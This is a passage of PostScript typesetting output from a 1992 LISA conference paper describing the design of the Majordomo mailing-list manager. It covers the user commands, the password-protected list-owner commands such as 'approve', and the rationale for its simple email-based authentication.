/Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +1679 X +f.R 10 Z(fami-)s +360 X +1856 Y(liar)s +507 X(with)s +683 X(BITNET)s +977 X(Listserv)s +1250 X(implementation)s +1728 X(and)s +360 X +1929 Y(operation)s +612 X(.)s +360 X +3599 Y +3120 0 l +360 X +3695 Y +562 X +f.B 10 Z(Command)s +1357 X(Description)s +360 X +3725 Y +562 X +f.R 10 Z +2715 0 l +360 X +3789 Y +1357 X(Subscribe)s +1642 X(yourself)s +1882 X(\(or)s +1981 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2227 X(if)s +2290 X(speci\256ed\))s +2572 X(to)s +2646 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(subscribe)s +836 X +f.I 10 Z(list)s +941 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3882 Y +1357 X(Unsubscribe)s +1712 X(yourself)s +1952 X(\(or)s +2051 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2297 X(if)s +2360 X(speci\256ed\))s +2642 X(from)s +2793 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(unsubscribe)s +902 X +f.I 10 Z(list)s +1007 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3975 Y +1357 X(Find)s +1501 X(out)s +1608 X(which)s +1793 X(lists)s +1924 X(you)s +2045 X(\(or)s +2144 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2390 X(if)s +2453 X(speci\256ed\))s +2735 X(are)s +2839 X(on)s +360 X +562 X(which)s +747 X([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +4068 Y +1357 X(Show)s +1530 X(the)s +1634 X(members)s +1901 X(of)s +1978 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(who)s +698 X +f.I 10 Z(list)s +360 X +4161 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(general)s +1853 X(introductory)s +2204 X(information)s +2541 X(for)s +2640 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(info)s +691 X +f.I 10 Z(list)s +360 X +4254 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(lists)s +1765 X(handled)s +1998 X(by)s +2086 X(this)s +2205 X(Majordomo)s +2541 X(server)s +360 X +562 X(lists)s +360 X +4347 Y +1357 X(Retrieve)s +1606 X(a)s +1658 X(help)s +1795 X(message,)s +2061 X(explaining)s +2365 X(these)s +2525 X(commands)s +360 X +562 X(help)s +360 X +4440 Y +1357 X(Stop)s +1506 X(processing)s +1818 X(commands)s +2134 X(\(useful)s +2346 X(if)s +2414 X(your)s +2562 X(mailer)s +2761 X(automatically)s +3155 X(adds)s +360 X +4520 Y +1357 X(a)s +1409 X(signature)s +1676 X(to)s +1750 X(your)s +1893 X(messages\))s +360 X +4440 Y +562 X(end)s +360 X +4685 Y +1387 X +f.B 10 Z(Figure)s +1599 X(1)s +f.R 10 Z(:)s +1695 X(Majordomo)s +2031 X(user)s +2164 X(commands)s +360 X +2023 Y +504 X(The)s +640 X(next)s +787 X(things)s +983 X(I)s +1038 X(looked)s +1252 X(at)s +1334 X(were)s +1497 X(several)s +1720 X(perl)s +360 X +2096 Y(scripts)s +578 X(from)s +750 X(a)s +823 X(variety)s +1052 X(of)s +1150 X(sources)s +1393 X(that)s +1537 X(were)s +1710 X(sup-)s +360 X +2169 Y(posedly)s +595 X(Listserv)s +811 X(-like)s +962 X(servers)s +1151 X(.)s +1218 X(Some)s +1398 X(of)s +1482 X(these)s +1649 X(scripts)s +360 X +2242 Y(were)s +528 X(pointed)s +766 X(out)s +888 X(to)s +977 X(me)s +1096 X(by)s +1199 X(folks)s +1369 X(on)s +1472 X(the)s +1591 X(net)s +1710 X(who)s +360 X +2315 Y(knew)s +537 X(I)s +592 X(was)s +729 X(looking)s +965 X(for)s +1076 X(such)s +1232 X(a)s +1296 X(thing,)s +1484 X(and)s +1614 X(I)s +1670 X(found)s +360 X +2388 Y(others)s +565 X(by)s +673 X(searching)s +971 X(through)s +1218 X(Archie)s +1441 X(for)s +1559 X("listserv")s +1807 X(.)s +360 X +2461 Y(Unfortunately,)s +778 X(these)s +943 X(various)s +1166 X(scripts)s +1368 X(all)s +1463 X(turned)s +1660 X(out)s +1772 X(to)s +360 X +2534 Y(be)s +457 X(more)s +628 X(what)s +792 X(I'd)s +903 X(call)s +1035 X("archive)s +1293 X(servers")s +1543 X(than)s +1692 X("list-)s +360 X +2607 Y(serv")s +537 X(implementations)s +984 X(;)s +1042 X(they)s +1196 X(were)s +1365 X(written)s +1595 X(to)s +1687 X(auto-)s +360 X +2680 Y(mate)s +524 X(retrieval)s +781 X(of)s +869 X(\256les)s +1014 X(from)s +1176 X(archives)s +1432 X(via)s +1547 X(email,)s +1747 X(for)s +360 X +2753 Y(folks)s +534 X(who)s +689 X(don't)s +870 X(have)s +1037 X(access)s +1250 X(to)s +1344 X(anonymous)s +1692 X(FTP)s +1807 X(.)s +360 X +2826 Y(When)s +550 X(I)s +603 X(examined)s +894 X(one)s +1021 X(of)s +1107 X(these)s +1275 X(scripts)s +1480 X(that)s +1611 X(claimed)s +360 X +2899 Y(to)s +442 X(support)s +671 X("subscribe")s +1007 X(and)s +1133 X("unsubscribe")s +1535 X(requests,)s +1802 X(I)s +360 X +2972 Y(found)s +547 X(that)s +681 X(what)s +844 X(it)s +915 X(did)s +1033 X(with)s +1184 X(such)s +1338 X(requests)s +1589 X(was)s +1725 X(for-)s +360 X +3045 Y(ward)s +528 X(them)s +697 X(by)s +798 X(email)s +983 X(to)s +1070 X(the)s +1187 X(mailing)s +1427 X(list)s +1545 X(owner)s +1747 X(for)s +360 X +3118 Y(manual)s +584 X(processing;)s +915 X(this)s +1039 X(was)s +1170 X(exactly)s +1391 X(what)s +1548 X(I)s +1597 X(was)s +1728 X(try-)s +360 X +3191 Y(ing)s +467 X(to)s +541 X(avoid!)s +360 X +3285 Y +504 X(In)s +596 X(the)s +715 X(end,)s +866 X(I)s +926 X(decided)s +1172 X(to)s +1262 X(implement)s +1587 X(my)s +1710 X(own)s +360 X +3358 Y(version)s +579 X(of)s +657 X(Listserv,)s +912 X(so)s +993 X(that)s +1116 X(I)s +1160 X(could)s +1330 X(get)s +1434 X(exactly)s +1650 X(what)s +1802 X(I)s +360 X +3431 Y(wanted)s +553 X(.)s +615 X(The)s +742 X(name)s +910 X(for)s +1010 X(my)s +1118 X(software)s +1371 X(was)s +1498 X(provided)s +1758 X(by)s +360 X +3504 Y(Eliot)s +529 X(Lear)s +689 X(of)s +781 X(Silicon)s +1008 X(Graphics,)s +1303 X(Inc)s +1388 X(.;)s +1461 X(he)s +1561 X(suggested)s +2016 X +448 Y("majordomo",)s +2417 X(which)s +2603 X(the)s +2708 X(dictionary)s +3002 X(de\256nes)s +3214 X(as)s +3293 X("a)s +3373 X(per-)s +2016 X +521 Y(son)s +2162 X(who)s +2330 X(speaks,)s +2579 X(makes)s +2804 X(arrangements,)s +3234 X(or)s +3342 X(takes)s +2016 X +594 Y(charge)s +2244 X(for)s +2371 X(another",)s +2666 X(and)s +2813 X(which)s +3027 X(seems)s +3242 X(perfectly)s +2016 X +667 Y(appropriate)s +2342 X(given)s +2512 X(the)s +2616 X(nature)s +2805 X(of)s +2882 X(the)s +2986 X(software)s +3216 X(.)s +2016 X +794 Y +2450 X +f.B 10 Z(Designing)s +2754 X(a)s +2809 X(Solution)s +2016 X +903 Y +2160 X +f.R 10 Z(My)s +2290 X(\256rst)s +2432 X(step)s +2578 X(in)s +2668 X(designing)s +2965 X(a)s +3033 X(solution)s +3286 X(was)s +3428 X(to)s +2016 X +976 Y(decide)s +2218 X(on)s +2311 X(the)s +2420 X(general)s +2644 X(approach)s +2915 X(I)s +2964 X(was)s +3095 X(going)s +3273 X(to)s +3351 X(take)s +3463 X(.)s +2016 X +1049 Y(First,)s +2199 X(I)s +2264 X(decided)s +2515 X(that)s +2659 X(all)s +2771 X(routine)s +3004 X(interactions)s +3361 X(with)s +2016 X +1122 Y(Majordomo)s +2377 X(would)s +2589 X(take)s +2747 X(place)s +2935 X(asynchronously)s +3398 X(via)s +2016 X +1195 Y(email)s +2166 X(.)s +2248 X(Second,)s +2504 X(since)s +2685 X(the)s +2811 X(software)s +3085 X(was)s +3233 X(going)s +3428 X(to)s +2016 X +1268 Y(spend)s +2200 X(most)s +2359 X(of)s +2443 X(its)s +2536 X(time)s +2685 X(parsing)s +2910 X(emailed)s +3151 X(instructions,)s +2016 X +1341 Y(processing)s +2324 X(text)s +2448 X(\256les)s +2583 X(\(the)s +2711 X(actual)s +2896 X(mailing)s +3125 X(lists\))s +3280 X(accord-)s +2016 X +1414 Y(ing)s +2146 X(to)s +2243 X(those)s +2428 X(instructions,)s +2801 X(and)s +2941 X(generating)s +3267 X(emailed)s +2016 X +1487 Y(responses)s +2298 X(to)s +2373 X(users,)s +2550 X(I)s +2595 X(wanted)s +2811 X(to)s +2886 X(write)s +3047 X(it)s +3109 X(in)s +3185 X(a)s +3239 X(language)s +2016 X +1560 Y(well)s +2132 X(-suited)s +2356 X(for)s +2474 X(that)s +2616 X(task;)s +2784 X(perl)s +2929 X(seemed)s +3171 X(the)s +3294 X(natural)s +2016 X +1633 Y(choice)s +2191 X(.)s +2016 X +1727 Y +2160 X(In)s +2240 X(the)s +2347 X(Majordomo)s +2687 X(world)s +2868 X(model,)s +3078 X(there)s +3238 X(are)s +3346 X(three)s +2016 X +1800 Y(types)s +2228 X(of)s +2354 X(people:)s +2622 X(users)s +2830 X(\(without)s +3127 X(any)s +3293 X(special)s +2016 X +1873 Y(privileges\),)s +2341 X(mailing)s +2569 X(list)s +2675 X(owners,)s +2907 X(and)s +3026 X(the)s +3131 X(owner)s +3320 X(of)s +3398 X(the)s +2016 X +1946 Y(Majordomo)s +2379 X(server)s +2590 X(itself)s +2725 X(.)s +2812 X(Interactions)s +3176 X(with)s +3343 X(users)s +2016 X +2019 Y(take)s +2156 X(place)s +2327 X(strictly)s +2543 X(by)s +2638 X(email;)s +2836 X(the)s +2947 X(user)s +3087 X(mails)s +3262 X(a)s +3321 X(set)s +3425 X(of)s +2016 X +2092 Y(requests)s +2275 X(to)s +2366 X(Majordomo,)s +2736 X(and)s +2871 X(Majordomo)s +3224 X(processes)s +2016 X +2165 Y(those)s +2196 X(requests)s +2454 X(and)s +2589 X(sends)s +2776 X(back)s +2941 X(appropriate)s +3284 X(replies)s +3463 X(.)s +2016 X +2238 Y(Interactions)s +2362 X(with)s +2511 X(list)s +2623 X(owners)s +2844 X(also)s +2981 X(take)s +3122 X(place)s +3293 X(strictly)s +2016 X +2311 Y(by)s +2105 X(email,)s +2295 X(but)s +2403 X(a)s +2456 X(list)s +2563 X(owner)s +2753 X(can)s +2870 X(do)s +2960 X(a)s +3014 X(few)s +3138 X(things)s +3325 X(that)s +3450 X(a)s +2016 X +2384 Y(normal)s +2235 X(user)s +2376 X(can't;)s +2559 X(the)s +2671 X(commands)s +2989 X(that)s +3119 X(are)s +3230 X(restricted)s +2016 X +2457 Y(to)s +2095 X(list)s +2205 X(owners)s +2424 X(are)s +2533 X(protected)s +2809 X(with)s +2955 X(a)s +3012 X(per)s +3097 X(-list)s +3229 X(password)s +2016 X +2530 Y(\(though)s +2244 X(it's)s +2352 X(very)s +2492 X(weak)s +2655 X(password)s +2928 X(protection,)s +3238 X(since)s +3398 X(the)s +2016 X +2603 Y(password)s +2300 X(is)s +2378 X(passed)s +2589 X(in)s +2674 X(the)s +2790 X(clear)s +2955 X(through)s +3195 X(the)s +3311 X(email;)s +2016 X +2676 Y(the)s +2123 X(goal)s +2263 X(is)s +2333 X(not)s +2443 X(absolute)s +2691 X(security,)s +2945 X(but)s +3054 X(to)s +3130 X(avoid)s +3302 X(people)s +2016 X +2749 Y(making)s +2257 X(a)s +2328 X(nuisance)s +2604 X(of)s +2701 X(themselves)s +3041 X(by)s +3149 X(abusing)s +3398 X(the)s +2016 X +2822 Y(Majordomo)s +2366 X(server\))s +2551 X(.)s +2626 X(The)s +2766 X(Majordomo)s +3116 X(owner)s +3318 X(is)s +3398 X(the)s +2016 X +2895 Y(person)s +2231 X(responsible)s +2573 X(for)s +2688 X(maintaining)s +3046 X(the)s +3166 X(Majordomo)s +2016 X +2968 Y(server)s +2206 X(itself,)s +2385 X(and)s +2508 X(for)s +2612 X(performing)s +2937 X(tasks)s +3097 X(such)s +3245 X(as)s +3327 X(creat-)s +2016 X +3041 Y(ing)s +2123 X(new)s +2256 X(mailing)s +2483 X(lists)s +2614 X(to)s +2688 X(be)s +2773 X(served)s +2969 X(by)s +3057 X(Majordomo)s +3371 X(.)s +2016 X +3135 Y +2160 X(The)s +2289 X(software)s +2544 X(needs)s +2722 X(to)s +2800 X(support)s +3025 X(multiple)s +3275 X(mailing)s +2016 X +3208 Y(lists,)s +2185 X(each)s +2351 X(owned)s +2570 X(by)s +2678 X(different)s +2950 X(individuals)s +3247 X(.)s +3328 X(Some)s +2016 X +3281 Y(owners)s +2238 X(wish)s +2394 X(to)s +2476 X(approve)s +2720 X(all)s +2818 X("subscribe")s +3154 X(requests)s +3403 X(for)s +2016 X +3354 Y(their)s +2171 X(list)s +2286 X(\(a)s +2370 X("closed")s +2627 X(list\),)s +2781 X(while)s +2962 X(other)s +3131 X(owners)s +3354 X(wish)s +2016 X +3427 Y(routine)s +2230 X("subscribe")s +2561 X(requests)s +2805 X(to)s +2882 X(be)s +2970 X(approved)s +3242 X(automat-)s +2016 X +3500 Y(ically)s +2189 X(\(an)s +2297 X("open")s +2503 X(list\),)s +2648 X(with)s +2790 X(noti\256cation)s +3118 X(to)s +3193 X(the)s +3297 X(owner)s +3463 X(.)s +360 X +4967 Y +f.B 10 Z(136)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 137 3 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(Routine)s +894 X("unsubscribe")s +1349 X(requests)s +1651 X(are)s +1817 X(approved)s +600 X +521 Y(automatically,)s +1009 X(with)s +1154 X(noti\256cation)s +1485 X(to)s +1563 X(the)s +1671 X(list)s +1779 X(owner,)s +1987 X(for)s +600 X +594 Y(both)s +745 X(open)s +901 X(and)s +1024 X(closed)s +1222 X(lists)s +1331 X(.)s +1375 X(Owners)s +1609 X(have)s +1763 X(a)s +1821 X(way)s +1960 X(\(the)s +600 X +667 Y("approve")s +923 X(command\))s +1262 X(to)s +1368 X(approve)s +1636 X(all)s +1758 X("subscribe")s +600 X +740 Y(requests)s +844 X(on)s +935 X(closed)s +1131 X(lists,)s +1282 X(as)s +1363 X(well)s +1505 X(as)s +1587 X(non)s +1686 X(-routine)s +1923 X("sub-)s +600 X +813 Y(scribe")s +816 X(and)s +941 X("unsubscribe")s +1342 X(requests)s +1589 X(on)s +1683 X(open)s +1840 X(lists)s +1949 X(.)s +2016 X(A)s +600 X +886 Y("non)s +726 X(-routine)s +969 X(request")s +1221 X(is)s +1298 X(one)s +1426 X(that)s +1559 X(affects)s +1771 X(a)s +1834 X(different)s +600 X +959 Y(address)s +834 X(than)s +982 X(the)s +1097 X(request)s +1323 X(appears)s +1560 X(to)s +1645 X(originate)s +1916 X(from;)s +600 X +1032 Y(for)s +717 X(instance,)s +994 X(a)s +1065 X(request)s +1299 X(from)s +1469 X("joe@foobar)s +1812 X(.com")s +2012 X(to)s +600 X +1105 Y(subscribe)s +896 X(or)s +994 X(unsubscribe)s +1355 X("alice@foobar)s +1744 X(.com")s +1946 X(is)s +2034 X(a)s +600 X +1178 Y(non)s +699 X(-routine)s +953 X(request)s +1146 X(.)s +1229 X(All)s +1359 X(non)s +1458 X(-routine)s +1713 X(requests)s +1976 X(\(on)s +600 X +1251 Y(both)s +746 X(open)s +903 X(and)s +1027 X(closed)s +1226 X(lists\))s +1384 X(are)s +1493 X(forwarded)s +1793 X(to)s +1872 X(the)s +1981 X(list)s +600 X +1324 Y(owner)s +788 X(for)s +887 X(approval)s +1120 X(.)s +600 X +1418 Y +744 X(Majordomo)s +1100 X(accepts)s +1340 X(the)s +1464 X(commands)s +1796 X(shown)s +2012 X(in)s +600 X +1491 Y(Figure)s +814 X(1)s +887 X(from)s +1056 X(any)s +1192 X(user)s +1303 X(.)s +1381 X(In)s +1475 X(addition,)s +1750 X(Majordomo)s +600 X +1564 Y(accepts)s +827 X(the)s +938 X(password)s +1189 X(-protected)s +1490 X(commands)s +1809 X(shown)s +2012 X(in)s +600 X +1637 Y(Figure)s +797 X(2,)s +870 X(which)s +1056 X(are)s +1161 X(for)s +1261 X(use)s +1373 X(by)s +1462 X(list)s +1568 X(owners)s +1782 X(to)s +1856 X(manage)s +600 X +1710 Y(their)s +789 X(list)s +872 X(.)s +977 X(Authentication)s +1441 X(is)s +1552 X(based)s +1771 X(solely)s +1998 X(on)s +600 X +1783 Y(knowledge)s +923 X(of)s +1009 X(the)s +1122 X(password)s +1404 X(for)s +1512 X(the)s +1624 X(list)s +1737 X(in)s +1819 X(question;)s +600 X +1856 Y(no)s +693 X(attempt)s +922 X(is)s +995 X(made)s +1168 X(to)s +1248 X(check)s +1432 X(that)s +1561 X(the)s +1671 X(address)s +1899 X(of)s +1982 X(the)s +600 X +1929 Y(person)s +821 X(issuing)s +1054 X(the)s +1180 X(command)s +1487 X(is)s +1576 X(the)s +1702 X(same)s +1883 X(as)s +1982 X(the)s +600 X +2002 Y(address)s +826 X(of)s +907 X(the)s +1015 X(list)s +1124 X(owner)s +1290 X(.)s +1356 X(As)s +1457 X(mentioned)s +1766 X(earlier,)s +1982 X(the)s +600 X +2075 Y(goal)s +755 X(of)s +849 X(the)s +970 X(minimal)s +1233 X(security)s +1484 X(in)s +1575 X(Majordomo)s +1928 X(is)s +2012 X(to)s +600 X +2148 Y(prevent)s +822 X(anti)s +923 X(-social)s +1124 X(people)s +1324 X(from)s +1476 X(making)s +1699 X(a)s +1752 X(nuisance)s +2009 X(of)s +600 X +2221 Y(themselves;)s +948 X(I)s +1001 X(don't)s +1172 X(make)s +1348 X(any)s +1474 X(claims)s +1680 X(that)s +1811 X(the)s +1923 X(secu-)s +600 X +2294 Y(rity)s +715 X(is)s +782 X(particularly)s +1113 X(strong)s +1279 X(.)s +600 X +2388 Y +744 X(A)s +818 X(side)s +952 X(bene\256t)s +1160 X(of)s +1241 X(authentication)s +1648 X(by)s +1741 X(password)s +2019 X(is)s +600 X +2461 Y(that)s +738 X(the)s +857 X(owner)s +1060 X(can)s +1190 X(manage)s +1434 X(their)s +1593 X(list)s +1712 X(from)s +1877 X(any)s +2009 X(of)s +600 X +2534 Y(their)s +760 X(accounts;)s +1050 X(they)s +1202 X(don't)s +1379 X(have)s +1542 X(to)s +1631 X(always)s +1855 X(use)s +1982 X(the)s +600 X +2607 Y(same)s +779 X(account)s +1027 X(on)s +1133 X(a)s +1203 X(certain)s +1426 X(machine,)s +1710 X(for)s +1827 X(instance)s +2047 X(.)s +600 X +2680 Y(The)s +728 X("owner")s +972 X(of)s +1052 X(a)s +1107 X(given)s +1280 X(list)s +1388 X(could)s +1561 X(in)s +1638 X(fact)s +1764 X(be)s +1852 X(an)s +1940 X(alias)s +600 X +2753 Y(for)s +719 X(multiple)s +985 X(people,)s +1221 X(any)s +1358 X(of)s +1454 X(whom)s +1661 X(could)s +1850 X(approve)s +600 X +2826 Y(requests)s +847 X(for)s +952 X(the)s +1062 X(list)s +1145 X(.)s +1212 X(Because)s +1463 X(the)s +1573 X(owner)s +1767 X(of)s +1850 X(a)s +1908 X(list)s +2019 X(is)s +600 X +2899 Y(always)s +809 X(noti\256ed)s +1036 X(of)s +1114 X(successful)s +1411 X("subscribe")s +1739 X(and)s +1857 X("unsub-)s +600 X +2972 Y(scribe")s +828 X(requests)s +1088 X(concerning)s +1425 X(their)s +1589 X(list,)s +1731 X(even)s +1899 X(if)s +1982 X(the)s +600 X +3045 Y(owner)s +800 X(initiated)s +1055 X(those)s +1230 X(requests)s +1483 X(on)s +1583 X(behalf)s +1784 X(of)s +1873 X(a)s +1936 X(user,)s +600 X +3118 Y(multiple)s +855 X(owners)s +1078 X(would)s +1275 X(automatically)s +1672 X(be)s +1767 X(kept)s +1914 X(up)s +2012 X(to)s +600 X +3191 Y(date)s +734 X(on)s +822 X(each)s +967 X(other's)s +1174 X(actions)s +1386 X(concerning)s +1704 X(the)s +1808 X(list)s +1891 X(.)s +600 X +3984 Y +3120 0 l +600 X +4080 Y +622 X +f.B 10 Z(Command)s +2258 X(Description)s +600 X +4110 Y +622 X +f.R 10 Z +3076 0 l +600 X +4174 Y +2258 X(Approve)s +2538 X(a)s +2616 X(non)s +2715 X(-routine)s +2975 X(subscribe)s +3276 X(or)s +3380 X(unsubscribe)s +600 X +4254 Y +2258 X(request)s +2473 X(concerning)s +2791 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +600 X +4174 Y +622 X +f.R 10 Z(approve)s +858 X +f.I 10 Z(password)s +1134 X +f.R 10 Z({subscribe)s +1440 X(|)s +1475 X(unsubscribe})s +1847 X +f.I 10 Z(list)s +1952 X(address)s +600 X +4347 Y +2258 X +f.R 10 Z(Provide)s +2490 X(a)s +2545 X(new)s +2681 X("info")s +2867 X(message)s +3119 X(for)s +3221 X +f.I 10 Z(list)s +f.R 10 Z(,)s +3346 X(to)s +3423 X(be)s +3512 X(sent)s +3646 X(in)s +600 X +4427 Y +2258 X(response)s +2513 X(to)s +2587 X("info")s +2770 X(and)s +2888 X("subscribe")s +3216 X(requests)s +600 X +4347 Y +622 X(newinfo)s +862 X +f.I 10 Z(list)s +967 X(password)s +600 X +4520 Y +2258 X +f.R 10 Z(Change)s +2483 X(the)s +2587 X(password)s +2860 X(for)s +2959 X +f.I 10 Z(list)s +600 X +622 X +f.R 10 Z(passwd)s +840 X +f.I 10 Z(list)s +945 X(old)s +1030 X(-password)s +1328 X(new)s +1435 X(-password)s +600 X +4685 Y +1547 X +f.B 10 Z(Figure)s +1759 X(2)s +f.R 10 Z(:)s +1855 X(Majordomo)s +2191 X(list)s +2296 X(owner)s +2484 X(commands)s +600 X +3285 Y +744 X(Note)s +915 X(that)s +1057 X(the)s +1180 X("approve")s +1490 X(command)s +1795 X(is)s +1882 X(simply)s +600 X +3358 Y("approve)s +878 X +f.I 10 Z(password)s +f.R 10 Z(")s +1196 X(prepended)s +1510 X(to)s +1599 X(a)s +1666 X("subscribe")s +2009 X(or)s +600 X +3431 Y("unsubscribe")s +1026 X(request)s +1219 X(.)s +1312 X(This)s +1485 X(simpli\256es)s +1801 X(command)s +600 X +3504 Y(processing;)s +941 X(in)s +1030 X(handling)s +1299 X(an)s +1398 X("approve")s +1702 X(message,)s +1982 X(the)s +600 X +3577 Y(command)s +910 X(processor)s +1212 X(checks)s +1441 X(that)s +1590 X(the)s +1720 X(password)s +2019 X(is)s +600 X +3650 Y(correct)s +818 X(for)s +927 X(the)s +1041 X(list)s +1155 X(being)s +1334 X(acted)s +1507 X(on,)s +1621 X(then)s +1767 X(recursively)s +600 X +3723 Y(processes)s +882 X(the)s +990 X("subscribe")s +1322 X(or)s +1403 X("unsubscribe")s +1801 X(command)s +600 X +3796 Y(with)s +743 X(a)s +797 X(\257ag)s +921 X(set)s +1020 X(that)s +1145 X(tells)s +1282 X(the)s +1387 X(processor)s +1665 X(that)s +1789 X(the)s +1894 X(opera-)s +600 X +3869 Y(tion)s +740 X(is)s +821 X(pre)s +906 X(-approved)s +1212 X(and)s +1345 X(should)s +1559 X(simply)s +1778 X(be)s +1878 X(carried)s +600 X +3942 Y(out,)s +737 X(even)s +898 X(if)s +974 X(it)s +1047 X(is)s +1126 X(a)s +1190 X(non)s +1289 X(-routine)s +1534 X(request)s +1727 X(.)s +1800 X(The)s +1938 X(right)s +2256 X +448 Y(way)s +2389 X(to)s +2463 X(think)s +2622 X(about)s +2793 X("approve",)s +3101 X(by)s +3190 X(the)s +3295 X(way,)s +3446 X(is)s +3514 X(that)s +3638 X(the)s +2256 X +521 Y(list)s +2363 X(owner)s +2553 X(is)s +2622 X(telling)s +2817 X(Majordomo)s +3154 X("I)s +3226 X(approve)s +3463 X(this)s +3583 X(com-)s +2256 X +594 Y(mand;)s +2455 X(just)s +2584 X(do)s +2682 X(it!",)s +2818 X(not)s +2936 X("I)s +3018 X(approve)s +3265 X(this)s +3395 X(request)s +3621 X(you)s +2256 X +667 Y(sent)s +2395 X(me)s +2507 X(earlier")s +2706 X(.)s +2775 X(Majordomo)s +3119 X(doesn't)s +3345 X(keep)s +3501 X(track)s +3665 X(of)s +2256 X +740 Y(outstanding)s +2602 X(requests;)s +2875 X(when)s +3054 X(an)s +3153 X("approve")s +3457 X(command)s +2256 X +813 Y(comes)s +2471 X(in)s +2567 X(from)s +2740 X(a)s +2814 X(list)s +2941 X(owner,)s +3167 X(Majordomo)s +3524 X(doesn't)s +2256 X +886 Y(check)s +2440 X(to)s +2520 X(see)s +2634 X(that)s +2764 X(the)s +2875 X(owner)s +3070 X(is)s +3144 X(approving)s +3442 X(something)s +2256 X +959 Y(Majordomo)s +2613 X(had)s +2752 X(previously)s +3075 X(requested,)s +3390 X(or)s +3487 X(anything)s +2256 X +1032 Y(like)s +2397 X(that)s +2498 X(.)s +2577 X(A)s +2665 X(list)s +2788 X(owner)s +2994 X(can)s +3127 X(thus)s +3278 X(issue)s +3452 X("approve")s +2256 X +1105 Y(commands)s +2589 X(on)s +2699 X(behalf)s +2910 X(of)s +3009 X(a)s +3083 X(user)s +3238 X(\(to)s +3356 X(drop)s +3521 X(a)s +3594 X(dead)s +2256 X +1178 Y(account)s +2488 X(from)s +2641 X(the)s +2747 X(list,)s +2872 X(for)s +2974 X(instance\))s +3241 X(without)s +3470 X(any)s +3591 X(prior)s +2256 X +1251 Y(action)s +2442 X(by)s +2530 X(the)s +2634 X(user)s +2745 X(.)s +2256 X +1345 Y +2400 X(An)s +2534 X(important)s +2848 X(distinction)s +3185 X(that)s +3340 X(many)s +3542 X(people)s +2256 X +1418 Y(misunderstand)s +2672 X(is)s +2744 X(the)s +2853 X(difference)s +3151 X(between)s +3401 X(managing)s +3690 X(a)s +2256 X +1491 Y(mailing)s +2493 X(list,)s +2625 X(and)s +2753 X(managing)s +3048 X(the)s +3162 X(traf\256c)s +3354 X(on)s +3452 X(a)s +3515 X(mailing)s +2256 X +1564 Y(list)s +2339 X(.)s +2405 X(Managing)s +2701 X(a)s +2757 X(mailing)s +2988 X(list)s +3097 X(\(which)s +3308 X(is)s +3379 X(what)s +3535 X(Major-)s +2256 X +1637 Y(domo)s +2435 X(does\))s +2608 X(means)s +2808 X(exactly)s +3031 X(that:)s +3202 X(managing)s +3494 X(a)s +3553 X(list)s +3665 X(of)s +2256 X +1710 Y(names)s +2427 X(.)s +2518 X(Managing)s +2839 X(the)s +2972 X(traf\256c)s +3183 X(on)s +3300 X(a)s +3381 X(mailing)s +3637 X(list)s +2256 X +1783 Y(\(which)s +2464 X(is)s +2533 X(commonly)s +2842 X(called)s +3027 X("moderating")s +3409 X(the)s +3515 X(mailing)s +2256 X +1856 Y(list\))s +2388 X(means)s +2586 X(either)s +2766 X(automatically)s +3159 X(or)s +3241 X(manually)s +3516 X(review-)s +2256 X +1929 Y(ing)s +2368 X(each)s +2518 X(message)s +2772 X(that)s +2900 X(is)s +2972 X(submitted)s +3263 X(for)s +3367 X(the)s +3477 X(list,)s +3605 X(then)s +2256 X +2002 Y(either)s +2438 X(forwarding)s +2762 X(it)s +2829 X(to)s +2910 X(the)s +3021 X(list)s +3133 X(\(perhaps)s +3391 X(after)s +3542 X(header)s +2256 X +2075 Y(or)s +2346 X(content)s +2578 X(editing,)s +2816 X(depending)s +3128 X(on)s +3229 X(the)s +3346 X(nature)s +3548 X(of)s +3638 X(the)s +2256 X +2148 Y(mailing)s +2490 X(list\))s +2624 X(or)s +2708 X(discarding)s +3015 X(it)s +3053 X(.)s +3120 X(The)s +3252 X(changes)s +3495 X(made)s +3668 X(to)s +2256 X +2221 Y(messages)s +2577 X(before)s +2815 X(forwarding)s +3178 X(them)s +3380 X(to)s +3500 X(such)s +3690 X(a)s +2256 X +2294 Y(moderated)s +2564 X(mailing)s +2795 X(list)s +2903 X(can)s +3021 X(be)s +3109 X(as)s +3190 X(simple)s +3394 X(as)s +3475 X(rewriting)s +2256 X +2367 Y(the)s +2368 X(headers)s +2603 X(of)s +2689 X(the)s +2802 X(message)s +3060 X(to)s +3143 X(arrange)s +3374 X(for)s +3482 X(errors)s +3668 X(to)s +2256 X +2440 Y(come)s +2427 X(back)s +2579 X(to)s +2657 X(the)s +2765 X(list)s +2874 X(owner,)s +3083 X(or)s +3164 X(as)s +3246 X(complex)s +3502 X(as)s +3583 X(com-)s +2256 X +2513 Y(pletely)s +2461 X(rewriting)s +2728 X(the)s +2832 X(body)s +2986 X(of)s +3064 X(the)s +3169 X(message)s +3419 X(to)s +3494 X(preserve)s +2256 X +2586 Y(the)s +2374 X(anonymity)s +2695 X(of)s +2786 X(the)s +2904 X(originator)s +3167 X(.)s +3241 X(Editorial)s +3511 X(policies)s +2256 